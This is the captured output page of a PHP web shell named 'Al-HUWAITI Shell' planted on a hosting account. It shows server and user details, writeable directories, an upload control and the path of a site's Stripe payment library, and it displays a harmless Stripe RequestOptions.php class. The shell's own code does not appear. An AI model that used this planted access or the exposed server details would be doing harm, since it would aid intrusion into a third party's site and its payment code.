Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/stripe/Stripe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/stripe/Stripe/RequestOptions.php
<?php

class Stripe_RequestOptions
{
  public $headers;
  public $apiKey;
 
  public function __construct($key, $headers)
  {
    $this->apiKey = $key;
    $this->headers = $headers;
  }

  /**
   * Unpacks an options array into an Options object
   * @param array|string $options a key => value array
   * @return Options
   */
  public static function parse($options)
  {
    if (is_null($options)) {
      return new Stripe_RequestOptions(null, array());
    }

    if (is_string($options)) {
      return new Stripe_RequestOptions($options, array());
    }

    if (is_array($options)) {
      $headers = array();
      $key = null;
      if (array_key_exists('api_key', $options)) {
        $key = $options['api_key'];
      }
      if (array_key_exists('idempotency_key', $options)) {
        $headers['Idempotency-Key'] = $options['idempotency_key'];
      }
      return new Stripe_RequestOptions($key, $headers);
    }

    throw new Stripe_Error("options must be a string, an array, or null");
  }
}

Al-HUWAITI Shell